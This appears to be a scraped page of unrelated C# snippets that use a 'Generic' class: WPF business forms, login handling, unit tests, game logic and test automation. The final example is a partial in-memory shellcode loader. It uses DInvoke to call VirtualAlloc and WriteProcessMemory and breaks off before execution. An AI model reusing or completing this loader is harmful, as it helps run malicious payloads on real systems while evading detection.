Inheritance: System.Web.UI.MasterPage
Ejemplo n.º 1
0
        public static void startApp(bool debugMode = false)
        {
            if (debugMode || showLoginFrm())
            {
                // user logged in
                // init global vars
                Generic<Company> generic = new Generic<Company>();
                Global.companies = generic.GetAll().ToList();
                generic.Dispose();

                if (debugMode)
                {
                    Global.user = new User();
                    Global.user.Role = "user";
                    Global.user.Username = "******";
                    Global.user.Company = Global.companies[0];
                    //Global.user.Role = "admin";
                    //Global.user.Username = "******";
                }

                // show main window
                MainWindow appmainwindow = new MainWindow(Global.user);
                appmainwindow.Activate();
                appmainwindow.ShowDialog();

                if (appmainwindow.logout) // user clicked logout
                {
                    Process.Start(Application.ResourceAssembly.Location); // starts new instance of program
                }
            }

            Application.Current.Shutdown();
        }
Ejemplo n.º 2
0
        public static void GenericTest()
        {
            //	        Generic<int> generic = new Generic<int>();
            //	        int[] array = {1, 9, 6, 0, 3, 4};
            //	        generic.bubbleSort(array);
            //	        foreach (int i in array) {
            //	            Console.WriteLine("{0}", i);
            //	        }

            Book[] bookArray = new Book[3];
            Book book1 = new Book(123, "Hello World");
            Book book2 = new Book(234, "Hi");
            Book book3 = new Book(1, "Core");

            bookArray[0] = book1;
            bookArray[1] = book2;
            bookArray[2] = book3;

            Generic genericSort = new Generic();
            genericSort.bubbleSortG(bookArray);
            //genericSort.bubbleSortG<Book>(bookArray);  it is same to line above

            foreach (Book book in bookArray) {
                Console.Write("Id: {0}", book.Id);
                Console.WriteLine("    Title: {0}", book.Title);
            }
        }
        public void saveUpdateCompany(Company company)
        {
            CompanyFrm cFrm = new CompanyFrm(company);
            bool result = (bool)cFrm.ShowDialog();
            cFrm.Close();

            if (result)
            {
                try
                {
                    Generic<Company> gen = new Generic<Company>();
                    if (company.Id == 0)
                        gen.Add(company);
                    else
                        gen.Update(company, company.Id);

                    gen.Dispose();
                    MessageBox.Show("The company was saved successfully", "Company saved", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem saving this company to the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }

                // reload companies and refresh ListBox
                loadCompanies();
            }
        }
Ejemplo n.º 4
0
		public override bool Write(Generic.IEnumerable<byte> buffer)
		{
			bool result;
			lock (this.queueLock)
			{
				if (Monitor.TryEnter(this.writeLock))
					try
					{
						Monitor.Exit(this.queueLock);
						result = base.Write(buffer);
						Monitor.Enter(this.queueLock);
						if (!this.queue.Empty)
						{
							Generic.IEnumerable<byte> accumulator = this.queue.Dequeue();
							while (!this.queue.Empty)
								accumulator.Append(this.queue.Dequeue());
							base.Write(accumulator);
						}
					}
					finally { Monitor.Exit(this.writeLock); }
				else if (result = this.queue.NotNull())
					this.queue.Enqueue(buffer);
			}
			return result;
		}
Ejemplo n.º 5
0
 protected virtual Generic.IEnumerator<Node> Process(Generic.IEnumerator<Node> nodes)
 {
     while (nodes.MoveNext())
     {
         Generic.IEnumerator<Node> result = this.Process(nodes.Current);
         while (result.MoveNext())
             yield return result.Current;
     }
 }
Ejemplo n.º 6
0
 public void TestOneGeneric()
 {
     Generic<int> generic = new Generic<int>
     {
         MyValue = 100
     };
     generic.MyValue.Should().Be(100);
     _logger.DebugCallCount.Should().Be(9, "because we expect it to enter the Entry, Exit and Success methods for both constructor and property");
 }
Ejemplo n.º 7
0
        protected AuthoredResource(CodePhrase originalLanguage, Generic.RevisionHistory revisionHistory,
            bool isControlled)
        {
            DesignByContract.Check.Require(originalLanguage!= null, "originalLanguage must not be null.");
            DesignByContract.Check.Require(!isControlled ^ revisionHistory != null, "RevisionHistory is only required if isControlled is true");

            this.originalLanguage = originalLanguage;
            this.IsControlled = isControlled;
            this.revisionHistory = revisionHistory;
        }
Ejemplo n.º 8
0
        protected AuthoredResource(CodePhrase originalLanguage, AssumedTypes.Hash<TranslationDetails, string> translations,
           ResourceDescription description, Generic.RevisionHistory revisionHistory, bool isControlled)
            : this(originalLanguage, revisionHistory, isControlled)
        {
            DesignByContract.Check.Require(translations == null ^
                (translations.Keys.Count>0 && !translations.HasKey(this.originalLanguage.CodeString)),
                "translations is not null means it must not be empty and it must not contains original language.");
            DesignByContract.Check.Require(translations == null ^ (description != null && translations != null),
               "if translations !=null, descriptions must not be null");

            this.translations = translations;
            this.description = description;
        }
Ejemplo n.º 9
0
        private void Button_Click(object sender, RoutedEventArgs e)
        {
            setDefaultUsers();

            String username, password;

            username = tbUsername.Text;
            password = tbPassword.Password;

            if (Membership.ValidateUser(username, password))
            {
                user.Authenticated = true;
                user.Username = username;
                user.Membership = Membership.GetUser(username);
                result = true;

                if (Roles.IsUserInRole(username, "admin"))
                    user.Role = "admin";
                else
                    user.Role = "user";

                // get usersPerCompany
                Generic<UsersPerCompany> usersPerCompany = new Generic<UsersPerCompany>();
                UsersPerCompany userCompany = usersPerCompany.GetAll().ToList().Find(u => u.UserId == (Guid)user.Membership.ProviderUserKey);
                usersPerCompany.Dispose();

                if (userCompany != null)
                {
                    // get users company
                    Generic<Company> company = new Generic<Company>();
                    user.Company = company.Get(userCompany.CompanyId);
                    company.Dispose();
                }
                else
                {
                    // get default company - hardcoded
                    Generic<Company> company = new Generic<Company>();
                    user.Company = company.Get(1);
                    company.Dispose();
                }

                this.DialogResult = true;
                this.Close();
            }
            else
            {
                MessageBox.Show("Invalid username and/or password.");
                user.Authenticated = false;
            }
        }
Ejemplo n.º 10
0
        // reloads all companies and refreshes ListBox
        public void loadCompanies()
        {
            // load companies from db
            Generic<Company> generic = new Generic<Company>();
            Global.companies = generic.GetAll().ToList();
            generic.Dispose();

            // clear listbox and add companies
            lbCompanies.Items.Clear();
            foreach (Company company in Global.companies)
            {
                lbCompanies.Items.Add(company.Name);
            }
        }
Ejemplo n.º 11
0
 public void TestTwoGeneric()
 {
     Generic<int> int1 = new Generic<int>
     {
         MyValue = 100
     };
     int1.MyValue.Should().Be(100);
     Generic<string> str = new Generic<string>
     {
         MyValue = "andrei"
     };
     str.MyValue.Should().NotBeNullOrWhiteSpace();
     _logger.DebugCallCount.Should().Be(18, "because we expect it to enter the Entry, Exit and Success for both constructor and property on both instances");
 }
Ejemplo n.º 12
0
 public void updateCompany(Company company)
 {
     try
     {
         Generic<Company> gen = new Generic<Company>();
         gen.Update(company, company.Id);
         gen.Dispose();
         MessageBox.Show("Your company was saved successfully", "Company saved", MessageBoxButton.OK, MessageBoxImage.Information);
     }
     catch (Exception ex)
     {
         Console.Write(ex.ToString());
         MessageBox.Show("There was a problem saving your company to the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
     }
 }
        public void MethodInvocationWithGenericParameterTest(int iterations)
        {
            var proxyGenerator = new ProxyGenerator();
            var interceptors = new IInterceptor[] {new CastleInterceptor()};
            var target = new Generic();
            var proxy = proxyGenerator.CreateInterfaceProxyWithTarget<IGeneric>(target, interceptors);
            var stopwatch = new Stopwatch();

            stopwatch.Start();

            for (var i = 0; i < iterations; i++)
            {
                proxy.Invoke(i);
            }

            stopwatch.Stop();

            Report.Instance.Write(AssemblyName, Scenario.MethodInvocationWithGenericParameter, iterations, stopwatch.Elapsed);
        }
Ejemplo n.º 14
0
        static void Main(string[] args)
        {
            //int x=6;//variable değişken
            ////Console.WriteLine(x);
            ////Test testObj = new Test();
            ////Console.WriteLine(testObj.a);
            MyFirstClass obj1 = new MyFirstClass();
            //MyFirstClass obj2 = new MyFirstClass(2, 3);
            //obj2.Display();
            //obj1.Display();
            ////int sonuc=obj1.Topla();
            //int sonuc = obj1.Topla(3, x);
            //Console.WriteLine(x);//6
            //sonuc = obj1.Topla(2, obj2);//5
            //Console.WriteLine(obj2.y);//3 or 11?
            //double y=5.4;
            //y = x;
            //x = (int)y;
            ////Test t1 = (Test)obj2;classlararası ilişki yok
            //Object o = (object)obj1;
            //int[] sayilar = new int[5];
            //sayilar[0] = 8;
            //for (int i = 0; i < sayilar.Length; i++)
            //{
            //    Console.WriteLine(sayilar[i]);
            //}
            //int[] numbers = { 2, 5, 7 };
            //numbers = sayilar;

            //Console.WriteLine("en kucuk"+obj1.EnKucuk(numbers));
            Generic<int> g1 = new Generic<int>(5);
            g1.display();
            Generic<string> g2 = new Generic<string>(3);
            g2.display();
            Generic<MyFirstClass> g3 = new Generic<MyFirstClass>(5);
            Stack<string> stack = new Stack<string>();
            stack.Push("Ankara");
            stack.Push("İstanbul");
            Console.WriteLine(stack.Pop());
            Console.WriteLine(stack.Pop());

            Console.ReadLine();
        }
Ejemplo n.º 15
0
        public SettingsFrm(User user)
        {
            InitializeComponent();

            this.user = user;
            this.company = user.Company;

            // initialize values
            tbName.Text = company.Name;
            tbStreet.Text = company.Street;
            tbZipcode.Text = company.Zipcode;
            tbCity.Text = company.City;
            tbCountry.Text = company.Country;
            tbEmail.Text = company.Email;
            tbPhone.Text = company.Phone;
            tbEmployees.Text = company.Emplyees.ToString();
            loadContracts();

            Generic<ContractFormula> generic = new Generic<ContractFormula>();
            Global.contractFormula = generic.GetAll().ToList();
            generic.Dispose();
        }
Ejemplo n.º 16
0
        private void loadContractFormula()
        {
            // load companies from db
            Generic<ContractFormula> generic = new Generic<ContractFormula>();
            Global.contractFormula = generic.GetAll().ToList();
            generic.Dispose();

            lbContractFormula.Items.Clear();
            foreach (ContractFormula contractFormula in Global.contractFormula)
            {
                lbContractFormula.Items.Add(String.Format("{0}", contractFormula.Description));
            }
        }
Ejemplo n.º 17
0
        private void btnDeleteLocation_Click(object sender, RoutedEventArgs e)
        {
            // return if no selection made
            int index = lbLocations.SelectedIndex;
            if (index == -1) return;

            MessageBoxResult result = MessageBox.Show("Are you sure you want to delete this location?", "Are you sure?", MessageBoxButton.YesNo);
            if (result == MessageBoxResult.Yes)
            {
                try
                {
                    Generic<Location> generic = new Generic<Location>();
                    generic.Delete(Global.locations[index]);
                    generic.Dispose();

                    MessageBox.Show("The location was removed successfully", "Location removed", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem removing the location from the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }

                loadLocations();
            }
        }
Ejemplo n.º 18
0
        private void btnDeleteCompany_Click(object sender, RoutedEventArgs e)
        {
            // return if no selection made
            int index = lbCompanies.SelectedIndex;
            if (index == -1) return;

            Company company = Global.companies[index];

            // check for existing contracts
            if (Global.contracts.Find(contract => contract.CompanyId == company.Id) != null)
            {
                MessageBox.Show("You can't delete this company because it has 1 or more existing contracts.", "Error", MessageBoxButton.OK, MessageBoxImage.Information);
                return;
            }

            MessageBoxResult result = MessageBox.Show("Are you sure you want to delete this company?", "Are you sure?", MessageBoxButton.YesNo);
            if (result == MessageBoxResult.Yes)
            {
                try
                {
                    Generic<Company> generic = new Generic<Company>();
                    generic.Delete(Global.companies[index]);
                    generic.Dispose();

                    MessageBox.Show("The company was removed successfully", "Company removed", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem removing this company from the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }

                // reload companies and refresh ListBox
                loadCompanies();
            }
        }
Ejemplo n.º 19
0
        public void Insert(Company obj)
        {
            IGeneric <Company> AttObj = new Generic <Company>();

            AttObj.Insert(obj);
        }
Ejemplo n.º 20
0
        public ModButton(string text)
        {
            gameObject = new GameObject("Button");
            GameObject hoverOutline = new GameObject("Hover Outline");
            GameObject baseOutline  = new GameObject("Base Outline");
            GameObject textObject   = new GameObject("Text");

            rectTransform            = gameObject.AddComponent <RectTransform>();
            rectTransform.localScale = Vector3.one;

            RectTransform        hoverRect     = hoverOutline.AddComponent <RectTransform>();
            RectTransform        baseRect      = baseOutline.AddComponent <RectTransform>();
            RectTransform        textRect      = textObject.AddComponent <RectTransform>();
            MPEventSystemLocator systemLocator = gameObject.AddComponent <MPEventSystemLocator>();
            LayoutElement        layoutElement = gameObject.AddComponent <LayoutElement>();

            customButtonTransition = gameObject.AddComponent <CustomButtonTransition>();
            buttonSkinController   = gameObject.AddComponent <ButtonSkinController>();
            image = gameObject.AddComponent <Image>();
            customButtonTransition.targetGraphic = image;

            ColorBlock c = customButtonTransition.colors;

            hoverImage = hoverOutline.AddComponent <Image>();
            baseImage  = baseOutline.AddComponent <Image>();

            hoverOutline.transform.SetParent(gameObject.transform);
            baseOutline.transform.SetParent(gameObject.transform);
            textObject.transform.SetParent(gameObject.transform);

            hoverRect.anchorMin = new Vector2(0, 0);
            hoverRect.anchorMax = new Vector2(1, 1);
            hoverRect.sizeDelta = new Vector2(0, 0);

            baseRect.anchorMin = new Vector2(0, 0);
            baseRect.anchorMax = new Vector2(1, 1);
            baseRect.sizeDelta = new Vector2(0, 0);

            tmpText      = textObject.AddComponent <HGTextMeshProUGUI>();
            tmpText.text = text;

            textRect.anchorMin = new Vector2(0, 0);
            textRect.anchorMax = new Vector2(1, 1);
            textRect.sizeDelta = new Vector2(0, 0);

            image.sprite      = Generic.FindResource <Sprite>("texUICleanButton");
            hoverImage.sprite = Generic.FindResource <Sprite>("texUIHighlightBoxOutline");
            baseImage.sprite  = Generic.FindResource <Sprite>("texUIOutlineOnly");

            image.type      = Image.Type.Sliced;
            hoverImage.type = Image.Type.Sliced;
            baseImage.type  = Image.Type.Sliced;

            customButtonTransition.imageOnHover         = hoverImage;
            customButtonTransition.imageOnInteractable  = baseImage;
            customButtonTransition.scaleButtonOnHover   = false;
            customButtonTransition.showImageOnHover     = true;
            customButtonTransition.allowAllEventSystems = true;
            customButtonTransition.pointerClickOnly     = true;

            buttonSkinController.skinData = Generic.FindResource <UISkinData>("skinMenu");

            c.normalColor                 = new Color32(83, 102, 120, 255);
            c.highlightedColor            = new Color32(251, 255, 176, 187);
            c.pressedColor                = new Color32(188, 192, 113, 251);
            c.disabledColor               = new Color32(64, 51, 51, 182);
            customButtonTransition.colors = c;
        }
Ejemplo n.º 21
0
		public bool Write(Generic.IEnumerable<byte> buffer)
		{
			bool result = true;
			try
			{
				lock (this.outBufferLock)
					this.outBuffer.Add(buffer);
				if (this.AutoFlush)
					this.Flush();
			}
			catch (System.Exception)
			{
				result = false;
			}
			return result;
		}
Ejemplo n.º 22
0
        public void Insert(Product obj)
        {
            IGeneric <Product> AttObj = new Generic <Product>();

            AttObj.Insert(obj);
        }
Ejemplo n.º 23
0
 public void WriteXml(XmlWriter writer)
 {
     Generic.GenericWriteXml(this, writer);
 }
Ejemplo n.º 24
0
 public void ReadXml(XmlReader reader)
 {
     Generic.GenericReadXml(this, reader);
 }
Ejemplo n.º 25
0
 public XmlSchema GetSchema()
 {
     return(Generic.GenericGetSchema(this));
 }
Ejemplo n.º 26
0
 public override string ToString()
 {
     return(Generic.GenericToString(this));
 }
Ejemplo n.º 27
0
        public Company Load(int ID)
        {
            IGeneric <Company> AttObj = new Generic <Company>();

            return(AttObj.Load(ID));
        }
Ejemplo n.º 28
0
        /// <summary>
        /// This is the beginning workflow module. You will use this after one of the case creation modules
        /// </summary>
        /// <param name="activityReason"></param>
        /// <param name="context"></param>
        /// <param name="sucessCount"></param>
        /// <param name="screenshotLocation"></param>
        /// <param name="test"></param>
        /// <param name="doc"></param>
        public string HippWorkFlow(string activityReason, IWebDriver context, string screenshotLocation, DocX doc)
        {
            APHPHomePage                    loginPage      = new APHPHomePage(context);
            WorkerPortalLandingPage         landingPage    = new WorkerPortalLandingPage(context);
            HIPPSearchPage                  hIPPSearchpage = new HIPPSearchPage(context);
            HIPPSubmitApplicationPageWorker submitApp      = new HIPPSubmitApplicationPageWorker(context);
            WorkItemComponent               workitem       = new WorkItemComponent(context);
            Generic      generic = new Generic(context);
            Utility      utility = new Utility(context);
            InitiateTest startUp = new InitiateTest(context);

            //Gather Data from app
            generic.CheveronClick("2");
            generic.CheveronClick("3");
            generic.CheveronClick("4");

            ///Pend Application
            workitem.ActivitystatusResn_Input.Click();
            workitem.ActivitystatusResn_Input.SendKeys(activityReason);

            switch (activityReason)
            {
            case "Approved":
                workitem.ClickApproveButton();
                break;

            case "Denied":
                workitem.ClickDenyButton();
                break;

            case "Pended":
                workitem.ClickApproveButton();
                break;
            }
            generic.CheveronClick("3");
            generic.CheveronClick("4");
            generic.HoverByElement(workitem.CompletedBottom);


            workitem.ClickCompletedButton();
            utility.RecordStepStatusMAIN("Appliciation Completed", screenshotLocation, "Application Completed", doc);

            string appNumber = workitem.GatherAppNumber();
            string workItem  = workitem.GatherWorkItemType();
            string appQueue  = workitem.GetGatherWorkItemStatus();

            doc.InsertAtBookmark(appNumber + "\n " + workItem + "\n " + appQueue, "Pass 1");
            utility.RecordStepStatusMAIN("App in " + appQueue + "and in status of " + activityReason, screenshotLocation, "CheckAppStaus", doc);

            // Refresh Page
            context.Url = startUp.AWSINTWoker;

            workitem.ClickExitButton();
            landingPage.HippApplicationSearch();
            hIPPSearchpage.SearchHiPPCase("Contains", "Application ID", appNumber);
            hIPPSearchpage.SearchButtonClick();
            generic.HoverByLinkText(appNumber);
            utility.RecordStepStatusMAIN("Search results", screenshotLocation, "SearchResults", doc);
            generic.LinkTextClick(appNumber);
            if (activityReason == "Denied")
            {
                return(appNumber);
            }
            workitem.ClickWorkItemButton();
            Thread.Sleep(3000);
            generic.CheveronClick("3");
            generic.CheveronClick("4");
            string workItem2 = workitem.GatherWorkItemType();
            string appQueue2 = workitem.GetGatherWorkItemStatus();

            doc.InsertAtBookmark("\n " + "Pass 2: " + workItem2 + "\n " + appQueue2, "Pass 2");
            if (activityReason == "Pended")
            {
                HippPendCase(appNumber, context, screenshotLocation, doc);
            }
            return(appNumber);
        }
 public IWebElement InputCellPhone(string text      = null) => Generic.SendKeys(CellPhone, CellPhone_wrapper, text);
Ejemplo n.º 30
0
        public List <Product> LoadAll()
        {
            IGeneric <Product> AttObj = new Generic <Product>();

            return(AttObj.LoadAll());
        }
Ejemplo n.º 31
0
 private void loadLocations()
 {
     Generic<Location> generic = new Generic<Location>();
     Global.locations = generic.GetAll().ToList();
     generic.Dispose();
 }
Ejemplo n.º 32
0
        public void Update(Product obj)
        {
            IGeneric <Product> AttObj = new Generic <Product>();

            AttObj.Update(obj);
        }
 public IWebElement InputHomePhone(string text      = null) => Generic.SendKeys(HomePhone, HomePhone_wrapper, text);
Ejemplo n.º 34
0
        public Product Load(int ID)
        {
            IGeneric <Product> AttObj = new Generic <Product>();

            return(AttObj.Load(ID));
        }
 public IWebElement InputWorkPhone(string text      = null) => Generic.SendKeys(WorkPhone, WorkPhone_wrapper, text);
Ejemplo n.º 36
0
        public void Delete(int ID)
        {
            IGeneric <Product> AttObj = new Generic <Product>();

            AttObj.Delete(ID);
        }
Ejemplo n.º 37
0
        public void LDFTableTreatData()
        {
            string dtConsulta = "", tdoente = "", doente = "", tepisodio = "", episodio = "", n_cons = "";
            string selectValencias = "", deslocActive = "", modalInfo = "";
            int    nProd;

            #region Parametrizações
            ValenciaModel  valModel   = (ValenciaModel)HttpContext.Current.Session["InfADValencias"];
            PisosModel     pisosModel = (PisosModel)HttpContext.Current.Session["InfADPisos"];
            ParameterModel destinos   = (ParameterModel)HttpContext.Current.Session["InfADDeslocProd"];

            #endregion

            foreach (LDFTableRow item in list_rows)
            {
                item.rowItems.Add(new LDFTableItem("LOCAL_ATUAL", ""));
                item.rowItems.Add(new LDFTableItem("COL_CLICKABLE", ""));

                tdoente   = Generic.GetItemValue(item, "T_DOENTE");
                doente    = Generic.GetItemValue(item, "DOENTE");
                tepisodio = Generic.GetItemValue(item, "T_EPISODIO");
                episodio  = Generic.GetItemValue(item, "EPISODIO");
                n_cons    = Generic.GetItemValue(item, "N_CONS");
                nProd     = Convert.ToInt32(Generic.GetItemValue(item, "PROD"));

                #region Doente
                item.rowItems.First(q => q.itemColumnName == "T_DOENTE").itemValue   = doente;
                item.rowItems.First(q => q.itemColumnName == "T_EPISODIO").itemValue = (tepisodio.Contains("Internamento") ? "Internamento" : "Consulta");
                #endregion

                #region Hora

                dtConsulta = "";
                if (!String.IsNullOrEmpty(Generic.GetItemValue(item, "HR_CONS")))
                {
                    dtConsulta = String.Format("{0:dd/MM/yyyy}", Convert.ToDateTime(Generic.GetItemValue(item, "DT_CONS")));
                }



                item.rowItems.First(q => q.itemColumnName == "HR_CONS").itemValue = String.Format("{0} {1}", dtConsulta, Generic.GetItemValue(item, "HR_CONS"));
                #endregion

                #region Produto

                if (nProd > 0)
                {
                    item.rowItems.First(q => q.itemColumnName == "COL_CLICKABLE").itemValue = "<a data-toggle='modal' data-target='#modal-desloc-prod' data-tdoente='" + tdoente + "' data-doente='" + doente + "' data-nome='" + Generic.GetItemValue(item, "NOME") + "' data-codserv='" + Generic.GetItemValue(item, "COD_SERV") + "' data-ultloc='" + Generic.GetItemValue(item, "U_LOCAL") + "' data-ncons='" + n_cons
                                                                                              + "' data-tEpis='" + tepisodio + "' data-epis='" + episodio + "' class='fa fa-flask fa-lg infADModalDeslocProd' title='Movimentações de produtos'></a>";
                }
                else
                {
                    item.rowItems.First(q => q.itemColumnName == "COL_CLICKABLE").itemValue = "<a id='show' data-toggle='modal' data-target='#modal-desloc-prod' data-tdoente='" + tdoente + "' data-doente='" + doente + "' data-nome='" + Generic.GetItemValue(item, "NOME") + "' data-codserv='" + Generic.GetItemValue(item, "COD_SERV") + "' data-ultloc='" + Generic.GetItemValue(item, "U_LOCAL") + "' data-ncons='" + n_cons
                                                                                              + "' data-tEpis='" + tepisodio + "' data-epis='" + episodio + "' class='fa fa-plus fa-lg text-gray infADModalDeslocProd' title='Movimentações de produtos'></a>";
                }
                deslocActive = "";

                #endregion

                #region Desloc DropBox

                if (!String.IsNullOrEmpty(Generic.GetItemValue(item, "U_LOCAL")))
                {
                    deslocActive = "active";
                }

                selectValencias = "<select data-select-row='" + tdoente + "_" + doente + "' value='" + n_cons + "'" + " class='infad-selected-item " + deslocActive + "' data-previous-elem='0'>";
                if (String.IsNullOrEmpty(Generic.GetItemValue(item, "U_LOCAL")))
                {
                    selectValencias += "<option disabled value='0' " + (String.IsNullOrEmpty(Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">Sem deslocação</option>";
                }
                else
                {
                    selectValencias += "<option disabled value='0' selected >" + Generic.GetItemValue(item, "U_LOCAL_DESCR") + "</option>";
                }


                selectValencias += "<optgroup label='Localização Origem'>";
                selectValencias += "<option value='" + Generic.GetItemValue(item, "COD_SERV") + "' " + ((Generic.GetItemValue(item, "COD_SERV") == Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">" + Generic.GetItemValue(item, "DESCR_SERV") + "</option>";
                selectValencias += "</optgroup>";

                selectValencias += "<optgroup label='Localizações Parametrizadas'>";


                foreach (String itemVal in destinos.list_destDoentes)
                {
                    foreach (Valencia valP in valModel.listValencias)
                    {
                        if (itemVal == valP.COD_SERV)
                        {
                            selectValencias += "<option value='" + valP.COD_SERV + "' " + ((valP.COD_SERV == Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">" + valP.DESCR_SERV + "</option>";
                        }
                    }
                }
                selectValencias += "</optgroup>";

                selectValencias += "<optgroup label='Localizações + Frequentes'>";


                foreach (Valencia itemVal in valModel.listValenciasParametrizadas)
                {
                    if (itemVal.COD_SERV != Generic.GetItemValue(item, "COD_SERV") && Generic.GetItemValue(item, "U_LOCAL") != itemVal.COD_SERV)
                    {
                        selectValencias += "<option value='" + itemVal.COD_SERV + "' " + ((itemVal.COD_SERV == Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">" + itemVal.DESCR_SERV + "</option>";
                    }
                }
                selectValencias += "</optgroup>";

                selectValencias += "<optgroup label='Pisos'>";

                foreach (Piso itemPiso in pisosModel.listPisos)
                {
                    if (itemPiso.COD_SERV != Generic.GetItemValue(item, "COD_SERV") && Generic.GetItemValue(item, "U_LOCAL") != itemPiso.COD_SERV)
                    {
                        selectValencias += "<option value='" + itemPiso.COD_SERV + "' " + ((itemPiso.COD_SERV == Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">" + itemPiso.DESCR_SERV + "</option>";
                    }
                }
                selectValencias += "</optgroup>";



                selectValencias += "<optgroup label='Todas as localizações'>";


                foreach (Valencia itemVal in valModel.listValencias)
                {
                    if (itemVal.COD_SERV != Generic.GetItemValue(item, "COD_SERV") && Generic.GetItemValue(item, "U_LOCAL") != itemVal.COD_SERV)
                    {
                        selectValencias += "<option value='" + itemVal.COD_SERV + "' " + ((itemVal.COD_SERV == Generic.GetItemValue(item, "U_LOCAL")) ? "selected" : "") + ">" + itemVal.DESCR_SERV + "</option>";
                    }
                }
                selectValencias += "</optgroup>";
                selectValencias += "</select>";

                modalInfo = "";
                if (!String.IsNullOrEmpty(Generic.GetItemValue(item, "U_LOCAL")))
                {
                    modalInfo = "data-toggle='modal' data-target='#modal-desloc-timeline' data-tdoente='" + tdoente + "' data-doente='" + doente + "' data-nome='" + Generic.GetItemValue(item, "NOME") + "' value='" + n_cons + "'";
                    if (deslocActive == "active")
                    {
                        string infoValue = "<a " + modalInfo + " class='fa fa-info-circle fa-lg " + (String.IsNullOrEmpty(Generic.GetItemValue(item, "U_LOCAL")) ? "text-muted" : "text-primary") + " infADModalDesloc' title='Histórico de movimentações' style='padding-left:7px;'></a>";
                        selectValencias += infoValue;
                    }
                }
                item.rowItems.First(q => q.itemColumnName == "LOCAL_ATUAL").itemValue = selectValencias;

                #endregion
            }
        }
        public override void Update()
        {
            var m = (Minion)Owner;

            // Remove this EnrageEffect from the target
            if (!On)
            {
                Game.Auras.Remove(this);

                if (!_enraged)
                {
                    return;
                }

                // Spiteful Smith
                if (Type == AuraType.WEAPON)
                {
                    Weapon weapon = m.Controller.Hero.Weapon;
                    if (weapon == null)
                    {
                        return;
                    }

                    if (_target != weapon)
                    {
                        return;
                    }
                }

                foreach (IEffect eff in EnchantmentCard.Power.Enchant.Effects)
                {
                    eff.RemoveFrom(_target);
                }
                if (_currentInstance != null)
                {
                    _currentInstance.Remove();
                    foreach (IEffect eff in EnchantmentCard.Power.Enchant.Effects)
                    {
                        Game.PowerHistory.Add(PowerHistoryBuilder.TagChange(
                                                  m.Id, eff.Tag, m[eff.Tag]));
                    }
                }
                //if (_target != null)
                //	for (int i = 0; i < Effects.Length; i++)
                //		Effects[i].RemoveFrom(_target.AuraEffects);
            }

            if (Type == AuraType.WEAPON)
            {
                Weapon weapon = m.Controller.Hero.Weapon;
                if (weapon == null)
                {
                    return;
                }

                if (_target != weapon)
                {
                    _currentInstance?.Remove();
                    _currentInstance = null;

                    _target = weapon;
                }
            }

            if (!_enraged)
            {
                if (m.Damage == 0)
                {
                    return;
                }
                //if (_target != null)
                //	for (int i = 0; i < Effects.Length; i++)
                //		Effects[i].ApplyTo(_target.AuraEffects);
                Generic.AddEnchantmentBlock(Game, EnchantmentCard, m, _target, 0, 0, 0);
                if (Game.History)
                {
                    _currentInstance = _target.AppliedEnchantments.Last();
                }
                _enraged = true;
            }
            else
            {
                if (m.Damage != 0)
                {
                    return;
                }

                for (int i = 0; i < EnchantmentCard.Power.Enchant.Effects.Length; i++)
                {
                    EnchantmentCard.Power.Enchant.Effects[i].RemoveFrom(m);
                }

                if (_currentInstance != null)
                {
                    _currentInstance.Remove();
                    foreach (IEffect eff in EnchantmentCard.Power.Enchant.Effects)
                    {
                        Game.PowerHistory.Add(PowerHistoryBuilder.TagChange(
                                                  _target.Id, eff.Tag, _target[eff.Tag]));
                    }
                }
                _enraged = false;
            }
        }
Ejemplo n.º 39
0
        private void btnDeleteContract_Click(object sender, RoutedEventArgs e)
        {
            // return if no selection made
            int index = lvContracts.SelectedIndex;
            if (index == -1) return;

            MessageBoxResult result = MessageBox.Show("Are you absolutely sure you want to delete this contract?", "Are you sure?", MessageBoxButton.YesNo);
            if (result == MessageBoxResult.Yes)
            {
                try
                {
                    Generic<Contract> generic = new Generic<Contract>();
                    generic.Delete((Contract)lvContracts.SelectedItem);
                    generic.Dispose();

                    MessageBox.Show("The contract was removed successfully", "Contract removed", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem removing this contract from the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }

                loadContracts();
            }
        }
Ejemplo n.º 40
0
        private unsafe void loadShellcode(byte[] sc)
        {
            var handle      = Process.GetCurrentProcess().Handle;
            var baseAddress = IntPtr.Zero;

            var allocate = new object[]
            {
                IntPtr.Zero,
                (UIntPtr)(sc.Length + 1),
                DInvoke.Data.Win32.Kernel32.MemoryAllocationFlags.Reserve | DInvoke.Data.Win32.Kernel32.MemoryAllocationFlags.Commit,
                DInvoke.Data.Win32.Kernel32.MemoryProtectionFlags.ReadWrite
            };


            baseAddress = (IntPtr)Generic.DynamicAPIInvoke(
                "kernel32.dll",
                "VirtualAlloc",
                typeof(DInvoke.DynamicInvoke.Win32.Delegates.VirtualAlloc),
                ref allocate,
                true);


            if (baseAddress == IntPtr.Zero)
            {
                return;
            }

            var write = new object[] {
                handle,
                baseAddress,
                sc,
                (sc.Length + 1),
                IntPtr.Zero
            };

            var ret = (bool)Generic.DynamicAPIInvoke(
                "kernel32.dll",
                "WriteProcessMemory",
                typeof(DInvoke.DynamicInvoke.Win32.Delegates.WriteProcessMemory),
                ref write,
                true);


            if (!ret)
            {
                return;
            }

            uint oldProtection = 0;
            var  protection    = new object[] {
                (IntPtr)(-1),
                baseAddress,
                (UIntPtr)(sc.Length + 1),
